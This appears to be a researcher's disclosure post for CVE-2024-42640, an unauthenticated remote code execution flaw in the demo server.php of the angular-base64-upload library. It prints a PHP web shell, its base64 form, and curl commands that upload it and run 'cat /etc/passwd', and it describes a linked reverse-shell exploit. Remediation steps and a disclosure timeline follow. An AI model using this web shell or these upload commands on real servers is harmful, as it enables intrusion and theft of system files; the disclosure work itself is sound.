1. Introduction

angular-base64-upload, developed by Adones Pitogo (adonespitogo), is an angular library designed to simplify the uploading of base64-encoded files. This module provides functionality for handling base64 data uploads, making it easier for developers to manage and transmit files.

The file structure of the angular-base64-upload library is as follows. For this angular-base64-upload, v0.1.20version was used.

.
├── bower.json
├── CHANGELOG.md
├── demo
│   ├── angular-base64-upload.js
│   ├── index.html
│   ├── README.md
│   ├── server.php
│   └── uploads
│       └── index.php
├── dist
│   ├── angular-base64-upload.js
│   ├── angular-base64-upload.min.js
│   └── angular-base64-upload.min.js.map
├── Gruntfile.js
├── index.js
├── package.json
├── README.md
├── src
│   └── angular-base64-upload.js
└── test
    ├── base.spec.js
    ├── clear-input.spec.js
    ├── config
    │   ├── file_loader.js
    │   ├── grunt_test_runner.js
    │   └── karma.conf.js
    ├── custom-parser.spec.js
    ├── events.spec.js
    ├── helpers
    │   ├── compiler.js
    │   ├── globals.js
    │   └── mocks.js
    └── validations.spec.js

8 directories, 26 files

2. Code Analysis

The source code of the server.php is as follows :

<?php
    class Base64File
    {
      public $base64 = '';
      public $filename = '';
      private $folder = 'uploads';
    
      function __construct($attrs)
      {
        $this->base64 = $attrs['base64'];
        $this->filename = $this->folder.'/'.$attrs['filename'];
        $this->decodeBase64File();
        return $this;
      }
    
      function decodeBase64File() {
          $ifp = fopen($this->filename, 'w');
          fwrite( $ifp, base64_decode( $this->base64) );
          fclose($ifp);
          return $ifp;
      }    
    }

    //parse request payload
    $postdata = file_get_contents("php://input");
    $request = json_decode($postdata, true);
    //end parse
  
    $file = new Base64File($request);
    echo $file->filename;  
?>

The versions up to v0.1.20, including itself, include a demo folder to demonstrate and test the functionality. This demo folder contains a PHP file named server.php. This file takes two parameters, base64 and filename, as user input to upload files to the server, and the uploaded content will be saved inside the demo/uploads directory.

The server.php code lacks any kind of file upload valdiations (assuming it's developed in that way because this suppose to be only a demo). This allows an attacker to write any file content with any filename to the server. The server.php code lacks any kind of file upload validations (assuming it's developed in that way because this is supposed to be only a demo). This allows an attacker to write any file content with any filename to the server. If there's an application using this vulnerable version of the angular-base64-upload library, and it's accessible through node_modules or bower_compontent directory, this allows attackers to write file content on the server. This will lead to unauthenticated remote code execution.

3. Exploiting Angular-Base64-Upload Library

angular-base64-upload versions prior to v0.1.21 are vulnerable to unauthenticated remote code execution via the angular-base64-upload/demo/server.php endpoint. Exploitation of this vulnerability involves uploading arbitrary file content to the server, which can subsequently accessed through the angular-base64-upload/demo/uploads endpoint. This leads to the execution of previously uploaded content which enables the attacker to achieve code execution on the server.

⚠️   Disclaimer !

The information and exploitation steps provided in this document are intended for educational and research purposes only. The author disclaims any responsibility for the misuse of this information or for any consequences that may arise from its application. By accessing this content, you agree to use it responsibly and ethically. Any malicious use of the information presented is strictly prohibited, and the author will not be held liable for any damages or illegal activities resulting from the use of this information.

In this article two methods will be explained.

1. Automated Exploitation
2. Manual Exploitation

3.1 Automated Exploitation

The automated script will look for vulnerable endpoints according to the base URL provided, (Example: node_modules/angular-base64-upload/...) and if the vulnerable demo folder is found it will proceed with exploitation. It will take the listener IP address and port to update the PHP-reverse-shell that will be downloaded from @pentestmonkey Then it will send the PHP file to the server.php After that it will send a request to the uploaded php-reverse-shell and you'll get the reverse shell on the target

Github PoC Exploit for Automated Exploitation:
https://github.com/rvizx/CVE-2024-42640



3.2 Manual Exploitation

1. Send a curl request to the {node_modules/bower_components}/angular-base64-upload/demo/server.php endpoint to see whether it's the server is not responding with a HTTP response code 404. You'll probably get a 500. This can be used to ideitify whether the target is vulnerable or not. You can also test this with angular-base64-upload/demo/index.html (just like in the poc exploit).

2. Send another curl POST request with a PHP command shell (This is discussed in the next steps) or a php-reverse-shell to the server. Write or download the payload, then encode the content of the payload to base64.

Example:

<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>

3. Convert the payload in to Base64 format

PD9waHAKICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpCiAgICB7CiAgICAg
ICAgc3lzdGVtKCRfR0VUWydjbWQnXSAuICcgMj4mMScpOwogICAgfQo/Pg==
                

4. Send the following request, which has shell.php as the filename and it's content as the base64 parameter values.

curl -lk -X POST \
      -H "Content-Type: application/json" \
      -d '{"base64": "<base64-content>", "filename": "shell.php"}' \
      "http://$domain/{node_modules/bower_components}/angular-base64-upload/demo/server.php"

5. Now, access the shell.php uploaded to the server folder.

curl -lk "http://$domain/{node_modules/bower_components}/demo/uploads/shell.php?cmd=cat+%2Fetc%2Fpasswd"

6. This will execute the cat /etc/passwd command on the server and its output will be shown in the HTTP response body (the content of the /etc/passwd file of the victim).

4. PoC (Proof of Concept) Video

The following proof of concept (PoC) video demonstrates how the exploitation is carried out. It walks through the specific methods and steps involved, showing exactly how vulnerabilities are targeted and exploited. This practical example aims to help to understand the process and its potential impact more effectively.

5. Fixing the Security Issue.

In order to fix the security issue,

1. Update angular-base64-upload library to a version v0.1.21 or newer.
2. Remove the demo folder from angular-base64-upload folder under the dependency installation directory.

6. Backstory and Clarifications

I discovered this security issue during a penetration test where I was able to access multiple servers of a client due to their use of the same vulnerable library across different applications. After identifying and reporting the issue, I realized the specific conditions required for exploitation: a backend that can run PHP and a vulnerable version of the angular-base64-upload library.

Recognizing that this vulnerability could potentially affect any server application meeting these criteria, I decided to report it to MITRE because it's clearly a "common vulnerability". I know this blog post's URL contains "in" in it but the vulnerability title and every other details explicitly states "via," (Unauthenticated RCE via Angular-Base64-Upload CVE-2024-42640) this to indicate that this is not an inherent flaw in the library itself. Instead, it arises from the installation of a vulnerable version, particularly due to the presence of the demo folder included with the library installation.

Thought it was important to clarify this point regarding the nature of the vulnerability.

7. Timeline

21/07/2024 - Requested a CVE from MITRE
22/07/2024 - Informed the Vendor (The project was not maintained anymore, the verndor created an issue looking for a new maintiner in 2022")
26/07/2024 - Tried to contact the vendor again (No response)
01/08/2024 - Informed MITRE that the libirary doesn't seem to be maintained anymore and I didn't get any response from vendor so far.
22/08/2024 - MITRE Team Assigned CVE-2024-42640
11/10/2024 - Publicly disclosed the security issue details.

8. Author / Researcher

Ravindu Wickramasinghe | rvz (@rvizx9) at zyenra